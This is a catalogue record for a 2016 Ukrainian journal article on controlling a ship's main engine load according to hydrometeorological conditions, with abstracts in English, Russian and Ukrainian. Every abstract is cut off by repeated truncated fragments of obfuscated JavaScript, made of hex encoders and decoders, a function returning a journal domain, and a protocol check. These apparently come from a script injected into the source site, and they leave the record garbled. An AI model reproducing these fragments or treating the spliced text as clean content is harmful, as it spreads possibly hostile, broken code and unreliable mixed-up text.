Управління потужністю головного двигуна з урахуванням гідрометеорологічних умов

Jazyk: ruština
Rok vydání: 2016
Předmět:
Zdroj: Technology audit and production reserves; Том 2, № 1(28) (2016): Mechanical engineering and machine building. Energy, energy-saving technologies and equipment; 18-21
Technology audit and production reserves; Том 2, № 1(28) (2016): Машинознавство та машинобудування. Енергетика, енергозберігаючі технології та обладнання; 18-21
Technology audit and production reserves; Том 2, № 1(28) (2016): Машиноведение и машиностроение. Энергетика, энергосберегающие технологии и оборудование; 18-21
ISSN: 2226-3780
2312-8372
Popis: The problem of optimal control of the main engine load on the basis of the account of hydrometeorological navigation conditions is studied in order to minimize fuel and energy resources and the voyage providing for a scheduled time using the electric machine running on one propeller shaft with the main engine. The urgency of this problem is that when the weather conditions have any change there is load change on the engine. Researches show that the wind force affects the ship's power engine is already at 5 on the Beaufort scale. Therefore, the proposed concept of diesel-powership creates possibility to ensure the necessary operational control of the ship's power engine in storm situations. This concept provides the required reliability and safety for ships, which are often subject to changes in weather conditions.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
В работе исследована проблема управления мощностью главного двигателя с учетом влияния гидрометеорологических условий мореплавания. Рассматриваемая в работе концепция дизель-электрохода создает возможность обеспечить необходимую оперативность управления судовой движительной установкой в штормовых ситуациях. Указанная задача решается путем разработки закона управления электрической машиной, работающей на один вал с главным двигателем, и контроля необходимых гидрометеорологических параметров.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
В роботі досліджено проблему оптимального управління навантаженням головного двигуна, здійснюваного на основі врахування гідрометеорологічних умов мореплавства. Запропонована в роботі концепція дизель-електрохід створює можливість забезпечити необхідну оперативність управління судновою движительною установкою в штормових ситуаціях. Дана концепція забезпечує необхідну надійність і безпеку для суден, які часто піддаються змінам погодних умов.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Databáze: OpenAIRE
Externí odkaz: